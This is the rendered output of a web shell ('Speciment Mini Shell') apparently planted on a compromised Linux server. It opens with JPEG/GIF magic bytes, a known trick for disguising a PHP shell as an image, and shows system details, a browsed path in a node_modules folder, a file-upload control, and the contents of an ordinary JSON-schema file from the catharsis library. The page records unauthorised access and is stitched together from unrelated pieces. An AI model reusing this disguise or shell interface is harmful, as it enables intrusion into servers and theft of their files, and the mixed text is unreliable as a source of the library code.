ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/node_modules/catharsis/lib/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/node_modules/catharsis/lib/schema.js

const _ = require('lodash');

// JSON schema types
const ARRAY = 'array';
const BOOLEAN = 'boolean';
const OBJECT = 'object';
const STRING = 'string';

const BOOLEAN_SCHEMA = {
    type: BOOLEAN
};
const STRING_SCHEMA = {
    type: STRING
};

const TYPES = require('./types');
const TYPE_NAMES = _.values(TYPES);

module.exports = {
    type: OBJECT,
    additionalProperties: false,
    properties: {
        type: {
            type: STRING,
            enum: TYPE_NAMES
        },

        // field type
        key: { '$ref': '#' },
        value: { '$ref': '#' },

        // function type
        params: {
            type: ARRAY,
            items: { '$ref': '#' }
        },
        'new': { '$ref': '#' },
        'this': { '$ref': '#' },
        result: {'$ref': '#' },

        // name expression
        name: STRING_SCHEMA,

        // record type
        fields: {
            type: ARRAY,
            items: { '$ref': '#' }
        },

        // type application
        expression: { '$ref': '#' },
        applications: {
            type: ARRAY,
            minItems: 1,
            maxItems: 2,
            items: { '$ref': '#' }
        },

        // type union
        elements: {
            type: ARRAY,
            minItems: 1,
            items: { '$ref': '#' }
        },

        optional: BOOLEAN_SCHEMA,
        nullable: BOOLEAN_SCHEMA,
        repeatable: BOOLEAN_SCHEMA,
        reservedWord: BOOLEAN_SCHEMA
    },
    required: ['type']
};

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST